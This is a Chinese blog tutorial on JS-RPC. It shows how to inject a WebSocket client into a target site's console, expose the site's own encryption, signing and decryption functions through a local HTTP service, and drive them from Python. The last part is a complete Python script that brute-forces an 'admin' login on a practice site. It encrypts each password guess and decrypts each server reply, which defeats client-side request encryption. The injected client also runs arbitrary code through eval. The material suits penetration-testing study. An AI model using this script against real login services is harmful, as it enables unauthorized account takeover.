数据包自动化加解密教程之JSRPC(二)

前言

在上一篇我们学习了通过关键词去定位加解密的一些函数,通过打断点的方式来实现手动的一些加解密操作。不懂的小伙伴可以先看一下:一文教你学会数据包加解密(一)之关键词定位

从上一篇文章我们得知,如果想执行加解密函数,需要在控制台进行调用。本质上就是通过在本地运行JS代码也进行处理,如果我想对这个登陆接口进行爆破,或者是对某个ID参数进行遍历呢?总不能每次都手动的去替换吧。

这时候有小伙伴可能会说可以通过编写脚本来处理,以python进行举例。如果我想实现这个加密方法,可以编写相应的python代码来进行实现,或者可以通过execjs来在python中运行JS代码。

但是这种方式需要我们能够读懂目标JS代码的加密逻辑,完整还原加密链,然后再去编写代码。我们案例中使用了最简单的aes加密,而且密钥直接写在了加密函数的上面。但是实际在实战环节中,大多数有多层加密或自研算法,还伴有代码混淆。这个时候想去完整的去还原,费时费力。

01 工具介绍 JS-RPC

工具介绍:运行服务器程序和js脚本 即可让它们通信,实现调用接口执行js获取想要的值(加解密)

原理:在网站的控制台新建一个WebScoket客户端链接到服务器通信,调用服务器的接口 服务器会发送信息给客户端 客户端接收到要执行的方法执行完js代码后把获得想要的内容发回给服务器 服务器接收到后再显示出来

说的简单一点,就是通过本地开放一个http服务,我通过调用这个接口即可运行目标系统的加解密函数,达到无需理解它的算法细节也可以完成加解密。

项目地址:

02环境准备

在这里插入图片描述

02 抓取数据包

经测试发现“明镜Lab”系统请求和响应数据包都进行了加密处理
现在我想进行修改数据包,该如何做到呢?
在这里插入图片描述

03 使用步骤

打开客户端
1、先打开JS-RPC的客户端,默认使用0.0.0.0:12080端口来起服务,如果想自定义端口和地址就在工具的同目录下新建一个config.yaml文件

在这里插入图片描述

我这里修改了端口为13080,使用rpc.exe -c config.yaml命令启动
在这里插入图片描述

注入JS,构造通信环境
浏览器打开需要测试的业务站点,f12打开DevTools
在这里插入图片描述
将以下代码复制粘贴到控制台,然后回车,在打开网站的时候就注入,不要等到调试断点的时候注入。

在这里插入图片描述

function Hlclient(wsURL) {
    this.wsURL = wsURL;
    this.handlers = {
        _execjs: function (resolve, param) {
            var res = eval(param)
            if (!res) {
                resolve("没有返回值")
            } else {
                resolve(res)
            }

        }
    };
    this.socket = undefined;
    if (!wsURL) {
        throw new Error('wsURL can not be empty!!')
    }
    this.connect()
}

Hlclient.prototype.connect = function () {
    console.log('begin of connect to wsURL: ' + this.wsURL);
    var _this = this;
    try {
        this.socket = new WebSocket(this.wsURL);
        this.socket.onmessage = function (e) {
            _this.handlerRequest(e.data)
        }
    } catch (e) {
        console.log("connection failed,reconnect after 10s");
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.onclose = function () {
        console.log('rpc已关闭');
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.addEventListener('open', (event) => {
        console.log("rpc连接成功");
    });
    this.socket.addEventListener('error', (event) => {
        console.error('rpc连接出错,请检查是否打开服务端:', event.error);
    });

};
Hlclient.prototype.send = function (msg) {
    this.socket.send(msg)
}

Hlclient.prototype.regAction = function (func_name, func) {
    if (typeof func_name !== 'string') {
        throw new Error("an func_name must be string");
    }
    if (typeof func !== 'function') {
        throw new Error("must be function");
    }
    console.log("register func_name: " + func_name);
    this.handlers[func_name] = func;
    return true

}

//收到消息后这里处理,
Hlclient.prototype.handlerRequest = function (requestJson) {
    var _this = this;
    try {
        var result = JSON.parse(requestJson)
    } catch (error) {
        console.log("catch error", requestJson);
        result = transjson(requestJson)
    }
    //console.log(result)
    if (!result['action']) {
        this.sendResult('', 'need request param {action}');
        return
    }
    var action = result["action"]
    var theHandler = this.handlers[action];
    if (!theHandler) {
        this.sendResult(action, 'action not found');
        return
    }
    try {
        if (!result["param"]) {
            theHandler(function (response) {
                _this.sendResult(action, response);
            })
            return
        }
        var param = result["param"]
        try {
            param = JSON.parse(param)
        } catch (e) {}
        theHandler(function (response) {
            _this.sendResult(action, response);
        }, param)

    } catch (e) {
        console.log("error: " + e);
        _this.sendResult(action, e);
    }
}

Hlclient.prototype.sendResult = function (action, e) {
    if (typeof e === 'object' && e !== null) {
        try {
            e = JSON.stringify(e)
        } catch (v) {
            console.log(v)//不是json无需操作
        }
    }
    this.send(action + atob("aGxeX14") + e);
}

function transjson(formdata) {
    var regex = /"action":(?<actionName>.*?),/g
    var actionName = regex.exec(formdata).groups.actionName
    stringfystring = formdata.match(/{..data..:.*..\w+..:\s...*?..}/g).pop()
    stringfystring = stringfystring.replace(/\\"/g, '"')
    paramstring = JSON.parse(stringfystring)
    tens = `{"action":` + actionName + `,"param":{}}`
    tjson = JSON.parse(tens)
    tjson.param = paramstring
    return tjson
}

连接通信
将以下代码同样粘贴到控制台回车,正常的话会显示rpc已连接
其中变量名demo,和group的值可以自己更改

var demo = new Hlclient("ws://127.0.0.1:13080/ws?group=encrypt");

客户端也会显示上线信息

在这里插入图片描述
找到加密函数并打上断点,这里不再赘述,请看第一篇文章:

在这里插入图片描述
在控制台输入window.data_encode= l,控制台会显示当前函数信息
注册成功后我们可以主动调用data_encode函数, 查看是否有效

在这里插入图片描述
可以看到,现在我们自定义的data_encode已经替代了原来的加密函数,可以理解为将原来的加密函数提升为了全局函数,现在不需要停留在断点处也可以随意进行调用。

在这里插入图片描述
向RPC中注册函数
其中“data”为稍后使用接口中的参数,用来标记此注册点,data_encode就是刚才自定义的全局加密函数

demo.regAction("data", function (resolve, param) {
    var res = data_encode(String(param));
    resolve(res);
})

在这里插入图片描述
测试调用
使用GET或POST请求发送至本机的客户端启动的端口,获取加密结果
我自定义的是本地127.0.0.1:13080
在响应内容中的“data”字段就是想要的密文

http://127.0.0.1:12080/go?group=encrypt&action=data&param=8888
在这里插入图片描述
因为这个请求包中还包含了timestamp、requestId、sign,他们的逻辑此处不再分析,可看上篇文章
这时候我们修改注册函数的代码,把他们响应的数据也一并返回

先把他们注册为全局函数

window.vv = v;  //对json内字段进行排序
window.reqid = p;  //获取requestId
window.mm = a.a.MD5;  //MD5计算函数,用于签名
window.data_encode = l;  //加密函数

然后注册

demo.regAction("ens", function (resolve, param) {
    let timestamp = String(Date.parse(new Date)); //获取时间戳,转为字符串
    let id = reqid();  //获取requestId
    let data = JSON.stringify(vv(param));  //先对json数据进行排序,然后转为字符串
    let sign = mm(data+id+timestamp).toString();  //字符串拼接,然后计算他们的md5
    let encrypt_text = data_encode(data);  //加密数据
    let res = {"timestamp": timestamp,"id":id, "sign": sign, "encrypt_text": encrypt_text};
    resolve(res);
})

测试返回内容

在这里插入图片描述
在解密处打上断点,再注册一个解密函数

在这里插入图片描述

demo.regAction("decry", function (resolve, param) {
    var text = data_decode(String(param));
    resolve(text);
})

在这里插入图片描述
现在所有的验证逻辑都可以自动获取到了,接下来可以编写脚本提取我们需要的数据,还是以这个登陆接口举个例子
编写python脚本实现自动化爆破密码,分别实现了对请求包的加密,然后对响应包进行解密。

在这里插入图片描述
简单写个循环当作字典测试一下

在这里插入图片描述
至此完成了对数据包全加密情况下的账户爆破
python脚本代码如下

import requests
import json
from urllib.parse import quote


def encrypt(data):
    param = quote(data)
    req = requests.get(f"http://127.0.0.1:12080/go?group=encrypt&action=ens&param={param}")
    return req.text


def decrypt(data):
    res = requests.get(f"http://127.0.0.1:12080/go?group=encrypt&action=decry&param={data}")
    return json.loads(res.text)


if __name__ == '__main__':
    for i in range(123450,123460):
        passwd = str(i)
        data = '{"username":"admin","password":"%s","validCode":"xiaj"}' % passwd
        print("=====================请求明文数据=====================")
        print(data)
        json_data = json.loads(encrypt(data))['data']
        encrypt_text = json.loads(json_data)
        print("=====================请求密文数据=====================")
        print(encrypt_text)
        requestId = encrypt_text['id']
        sign = encrypt_text['sign']
        data_en = encrypt_text['encrypt_text']
        timestamp = encrypt_text['timestamp']
        url = "http://xxxx/api/user/login"
        headers = {"Pragma": "no-cache", "Cache-Control": "no-cache",
                   "Accept": "application/json, text/plain, */*", "timestamp": str(timestamp),
                   "X-Requested-With": "XMLHttpRequest", "requestId": requestId,
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
                   "sign": sign, "Content-Type": "application/json;charset=UTF-8",
                   "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9",
                   "Connection": "close"}
        datas = quote(data_en)
        req = requests.post(url, headers=headers, data=data_en).text
        print("=====================响应密文数据=====================")
        print(req)
        res_data = decrypt(quote(req))
        print("=====================响应明文数据=====================")
        print(res_data['data'])
        code = json.loads(res_data['data'])
        if code['code'] == '0':
            print("=====================账户爆破成功=====================")
            break

总结

本篇主要讲述了JS-RPC这款工具的使用,它可以让我们不用还原目标算法环境的情况下直接完成加解密操作,然后通过接口的形式嵌入到编写的脚本当中,实现一些自动化的操作。
本质上都是通过CDP协议来进行处理,这样可以免去我们很多抠代码还原算法的时间。

本系列会逐一把这些需要用到的技术模块化,让各位小伙伴明白其中的原理及模式,学会这些姿势后可以结合实际情况选择性的去使用适合的方法。
后期会通过实战案例结合串联起来,例如与burp联动、与xray一些扫描器联动,做一个加解密的中转网关等场景。

在线靶场

本文使用的靶场搭建好了在线测试环境。后台回复:加解密靶场 获取地址

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值